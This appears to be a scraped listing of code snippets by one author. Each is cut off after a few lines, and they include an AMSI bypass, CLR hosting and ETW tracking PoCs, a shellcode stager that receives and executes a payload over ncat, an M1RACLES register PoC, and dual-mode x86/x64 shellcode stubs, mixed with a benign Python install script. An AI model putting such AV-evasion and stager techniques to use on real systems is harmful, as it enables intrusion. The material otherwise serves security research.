aaaddress1

// Exception-Based AMSI Bypass
// by aaaddress1@chroot.org
#include <amsi.h>
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "amsi.lib")
#pragma comment(lib, "ole32.lib")
#pragma warning( disable : 4996 )

#define AMSIPROJECTNAME L"scanner"

aaaddress1

// CLR Hosting, by aaaddress1@chroot.org
//
// it's a new edition rewrite for .NET(4+) COM interface 
// original from github.com/etormadiv/HostingCLR
//             & blog.xpnsec.com/hiding-your-dotnet-etw
// 
// this PoC supports the following .NET entry:
// >>>> static void Main(string[] args);
//
#include <stdio.h>

aaaddress1

Install iPython on Windows 10 (PowerShell Script)

Install Python 3.7

mkdir C:/temp/ [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri "https://www.python.org/ftp/python/3.7.0/python-3.7.0.exe" -OutFile "c:/temp/python-3.7.0.exe" c:/temp/python-3.7.0.exe /quiet InstallAllUsers=0 PrependPath=1 Include_test=0

Install iPyhton

aaaddress1

import time
import etw
import etw.evntrace
import sys
import argparse
import threading


class RundownDotNetETW(etw.ETW):
    def __init__(self, verbose, high_risk_only):

aaaddress1

// ETW CLR Tracker, by aaaddress1@chroot.org
// rewrite from post "Hiding your .NET - ETW"
// URL: https://blog.xpnsec.com/hiding-your-dotnet-etw/
#define AssemblyDCStart_V1 155
#define AssemblyLoad_V1 154
#define MethodLoadVerbose_V1 143

#include <windows.h>
#include <stdio.h>
#include <wbemidl.h>

aaaddress1

// simple stager, by aaaddress1@chroot.org
// using ncat to send shellcode payload, recv & execute.
#include <WS2tcpip.h>
#include <stdio.h>
#include <shlobj.h>
#include <Windows.h>
#include <shlwapi.h>
#include <winsock2.h>
#pragma warning(disable:4996)
#pragma comment(lib, "ws2_32.lib")

aaaddress1

// [Experiment] swich IME to Traditional Chinese
// $ g++ -m32 -static inputLockToZhTW.cpp && a
// test on League of Legends (TW) client, but got ignored :(
// by aaaddress1@chroot.org
#include <windows.h>
#include <iostream>
int main(void) {
    for (char buf[64]; ; Sleep(150)) {
        GetWindowTextA(GetForegroundWindow(), buf, sizeof(buf));
        // once found that LOL client is on the top, and send IME change requests

aaaddress1

/*
 * m1racle-poc: a basic proof of concept for the M1RACLES vulnerability in the Apple M1.
 * 
 * This program allows you to read and write the state of the s3_5_c15_c10_1 CPU register.
 *
 * Please visit m1racles.com for more information.
 *
 * Licensed under the MIT license.
 */

aaaddress1

# x96_shellcode.py
# ref: gist.github.com/aaaddress1/3c0ae754f8a40024881343a085954049
# by aaaddress1@chroot.org
'''
entry:
    call $+5
    mov ax, cs
    sub ax, 23h
    je retTo32b
    nop

aaaddress1

; x96 shellcode (x32+x64) by aaaddress1@chroot.org
; yasm -f bin -o x96shell_msgbox x96shell_msgbox.asm
section .text
bits 32
_main:
call entry
entry:
mov ax, cs
sub ax, 0x23
jz retTo32b